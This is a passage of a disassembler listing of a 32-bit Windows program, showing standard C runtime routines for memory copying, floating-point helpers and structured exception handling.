					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx		; char
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx		; char
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
